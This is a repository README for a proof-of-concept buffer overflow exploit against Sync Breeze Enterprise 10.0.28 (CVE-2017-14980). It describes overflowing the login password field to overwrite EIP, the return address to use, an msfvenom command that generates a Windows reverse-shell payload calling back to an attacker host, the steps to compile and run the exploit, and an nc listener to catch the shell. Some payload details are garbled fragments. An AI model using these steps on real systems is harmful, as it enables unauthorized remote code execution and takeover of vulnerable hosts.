lipeozyy/cve-2017-14980_syncbreeze_10.0.28_bofProof-of-concept buffer overflow exploit for Sync Breeze Enterprise v10.0.28 (CVE-2017-14980). Sends crafted HTTP POST payload to overwrite EIP and execute custom x86 shellcode for arbitrary code execution.
This repository contains a proof-of-concept buffer overflow exploit (BOF) for Sync Breeze Enterprise version 10.0.28, targeting the vulnerability identified as CVE-2017-14980.
The vulnerability exists due to improper input validation when processing the password field in a POST request to the /login endpoint.
An attacker can send an excessively long value in this field, which overwrites the EIP and allows arbitrary code execution.
This exploit sends a carefully crafted payload consisting of:
'A')password field.gcc)\x83\x0C\x09\x10) and shellcode if necessaryExample shellcode generation with msfvenom:
msfvenom -p windows/shell_reverse_tcp LHOST=<YOUR_IP> LPORT=4444 EXITFUNC=thread -b "\x00\x0a\x0d" -f c
gcc exploit.c -o exploit
./exploit
nc -nlvp 4444